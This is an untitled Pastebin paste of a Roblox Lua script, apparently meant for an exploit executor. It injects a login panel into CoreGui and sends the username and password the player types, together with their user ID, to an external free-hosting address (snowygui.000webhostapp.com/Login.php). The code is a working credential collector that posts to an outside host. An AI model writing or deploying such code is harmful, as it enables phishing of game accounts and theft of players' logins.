Advertisement
Guest User

Untitled

a guest
Mar 8th, 2017
90
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.68 KB | None | 0 0
  1. local gPlayers = game:GetService('Players')
  2.  
  3. local SUBMITTING = false
  4.  
  5. local LOGIN_MAIN = game:GetObjects('rbxassetid://614182919')[1].main
  6. local LOGIN_CLOSE = LOGIN_MAIN.close
  7. local LOGIN_USER = LOGIN_MAIN.user
  8. local LOGIN_PASS = LOGIN_MAIN.pass
  9. local LOGIN_SUBMIT = LOGIN_MAIN.submit
  10.  
  11. LOGIN_CLOSE.MouseButton1Down:connect(function()
  12. LOGIN_MAIN.Parent:destroy()
  13. end)
  14.  
  15. LOGIN_USER.Changed:connect(function()
  16. if LOGIN_USER.Text ~= '' then
  17. LOGIN_USER[''].Text = ''
  18. else
  19. LOGIN_USER[''].Text = ' username'
  20. end
  21. end)
  22.  
  23. LOGIN_PASS.Changed:connect(function()
  24. if LOGIN_PASS.Text ~= '' then
  25. LOGIN_PASS[''].Text = ''
  26. else
  27. LOGIN_PASS[''].Text = ' password'
  28. end
  29. end)
  30.  
  31. function countdown()
  32. CAN_SUBMIT = false
  33. LOGIN_MAIN[''].Size = UDim2.new(0, 220, 0, 165)
  34. LOGIN_MAIN.submit.Position = UDim2.new(0, 60, 0, 145)
  35. LOGIN_MAIN.countdown.Visible = true
  36. for i = 1,11 do
  37. wait(1)
  38. LOGIN_MAIN.countdown.Text = 'please wait ' .. 10 - i .. ' second(s)'
  39. end
  40. LOGIN_MAIN.countdown.Text = 'please wait 10 second(s)'
  41. LOGIN_MAIN[''].Size = UDim2.new(0, 220, 0, 155)
  42. LOGIN_MAIN.submit.Position = UDim2.new(0, 60, 0, 135)
  43. LOGIN_MAIN.countdown.Visible = false
  44. CAN_SUBMIT = true
  45. end
  46.  
  47. LOGIN_SUBMIT.MouseButton1Down:connect(function()
  48. if LOGIN_USER.Text ~= '' and LOGIN_PASS.Text ~= '' and CAN_SUBMIT and not SUBMITTING then
  49. SUBMITTING = true
  50. local submit = game:HttpPost('https://snowygui.000webhostapp.com/Login.php', game:GetService('HttpService'):JSONEncode({LOGIN_USER.Text, LOGIN_PASS.Text, gPlayers.LocalPlayer.userId}), true)
  51. if submit then
  52. print 'success'
  53. else
  54. countdown()
  55. end
  56. SUBMITTING = false
  57. end
  58. end)
  59.  
  60. LOGIN_MAIN.Parent.Parent = game.CoreGui
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement